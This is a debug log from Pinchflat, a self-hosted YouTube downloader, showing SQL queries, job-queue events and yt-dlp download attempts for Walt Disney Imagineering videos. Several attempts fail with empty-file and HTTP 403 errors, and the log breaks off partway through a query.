db=0.3ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:06:55.091 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:06:55.091 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:06:55.092 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:55.092 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:55.092 [debug] Running yt-dlp command for action: get_downloadable_status 19:06:55.093 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:55.093 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:55.093 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:55.093 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fc/96/fc969643ccf0966523ed5ea03d0c60cfd9f043c3ab4c48589854d55cad4584e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:07:00.170 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fc/96/fc969643ccf0966523ed5ea03d0c60cfd9f043c3ab4c48589854d55cad4584e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:07:00.170 [debug] Running yt-dlp command for action: download 19:07:00.170 [debug] QUERY OK source="settings" db=0.1ms idle=1650.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:00.171 [debug] QUERY OK source="settings" db=0.1ms idle=1650.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:00.171 [debug] QUERY OK source="settings" db=0.1ms idle=1650.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:00.171 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/62/ae/62ae1641a79e646ecadec194811d2a96ec6afc4cffa11d58b0b902a3d22775c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:07:00.974 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:19.986 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:49.987 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.712 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/62/ae/62ae1641a79e646ecadec194811d2a96ec6afc4cffa11d58b0b902a3d22775c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:08:00.712 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:08:00.712 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65623207,"event":"job:exception","queue_time":17955006,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:08:00.719 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774998480719241704,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:08:00.719 [debug] QUERY OK source="media_items" db=0.1ms idle=1198.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:08:00.719 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:08:00.720 [debug] QUERY OK source="sources" db=0.2ms idle=1199.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:08:00.720 [debug] QUERY OK source="media_profiles" db=0.1ms idle=244.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:08:00.721 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:08:00.721 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:08:00.721 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:08:00.722 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:00.722 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:00.722 [debug] Running yt-dlp command for action: get_downloadable_status 19:08:00.723 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:00.723 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:00.723 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:00.723 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/07/c1/07c1a08772805dac28a34cb5bc93b9b51cdef67bb6292d7d325a24420954deb2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:08:00.975 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:05.596 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/07/c1/07c1a08772805dac28a34cb5bc93b9b51cdef67bb6292d7d325a24420954deb2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:08:05.596 [debug] Running yt-dlp command for action: download 19:08:05.596 [debug] QUERY OK source="settings" db=0.1ms idle=1076.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:05.597 [debug] QUERY OK source="settings" db=0.0ms idle=1076.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:05.597 [debug] QUERY OK source="settings" db=0.1ms idle=1076.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:05.597 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5a/e5/5ae5cbfb1a3b6138d2e95794bec784d6e0c36de288c9feefedf25f7c5763701b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:08:15.220 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5a/e5/5ae5cbfb1a3b6138d2e95794bec784d6e0c36de288c9feefedf25f7c5763701b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:08:15.221 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:08:15.221 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14502163,"event":"job:exception","queue_time":35499496,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:08:19.989 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:21.504 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774998501504244050,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:08:21.504 [debug] QUERY OK source="media_items" db=0.1ms idle=1008.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:08:21.504 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:08:21.505 [debug] QUERY OK source="sources" db=0.2ms idle=984.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:08:21.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=984.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:08:21.506 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:08:21.506 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:08:21.506 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", 